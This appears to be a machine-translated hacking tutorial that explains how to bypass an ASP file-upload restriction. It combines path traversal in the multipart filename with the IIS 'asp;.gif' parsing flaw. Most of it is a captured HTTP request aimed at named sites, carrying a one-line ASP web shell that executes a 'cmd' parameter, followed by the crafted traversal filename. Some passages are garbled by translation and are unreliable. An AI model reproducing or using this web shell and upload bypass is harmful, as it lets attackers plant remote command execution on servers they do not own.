Upload breakthrough without changing the file name

The method is good. First, do not forcibly change the upload file name. In addition, the upload directory has no execution permission.
 
Then, it seems that you can upload the file to a directory that can be written by the upper-level.
 
For example, capture the captured upload data packet:
 
POST/upload/upfile. asp HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd. ms-xpsdocument, application/xaml + xml ,*/*
Referer: http://www.bkjia.com/upload. asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary = --------- 7da290150c5e
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;. net clr 2.0.50727;. net clr 3.0.20.6.2152;. net clr 3.5.30729)
Host: www.tmdsb.com
Content-Length: 448
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSSCTCSCT = DJBKGKLBBIGNKJMBGOENNPAN
---------- 7da290150c5e
Content-Disposition: form-data; name = "act"
Upload
---------- 7da290150c5e
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/tmdsb.asp;.gif"
Content-Type: text/plain
<% Execute (request ("cmd") %>
---------- 7da290150c5e
Content-Disposition: form-data; name = "Submit"
Up
---------- 7da290150c5e-
Then the key is:
 
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/tmdsb.asp;.gif"
 
First of all. Filename: How does one determine that the start is the file name?
 
It is the file name after judging the rightmost "/" in filename.
 
You should know. In windows, "/" and "/" are independent of each other.
 
Assume that the uploaded directory is upload/
 
Then a writable directory that can be executed is tmdsb/
 
So we only need to construct
 
Content-Disposition: form-data; name = "file1"; filename = "d:/www/tmdsb/web/../tmdsb/tmdsb.asp;.gif"
 
The uploaded file is successfully uploaded to tmdsb/tmdsb.asp;.gif.
 
Of course, we need to work with the IIS vulnerability (when only images can be uploaded). If asp can be uploaded directly
 
No. By www.sb-sb.cn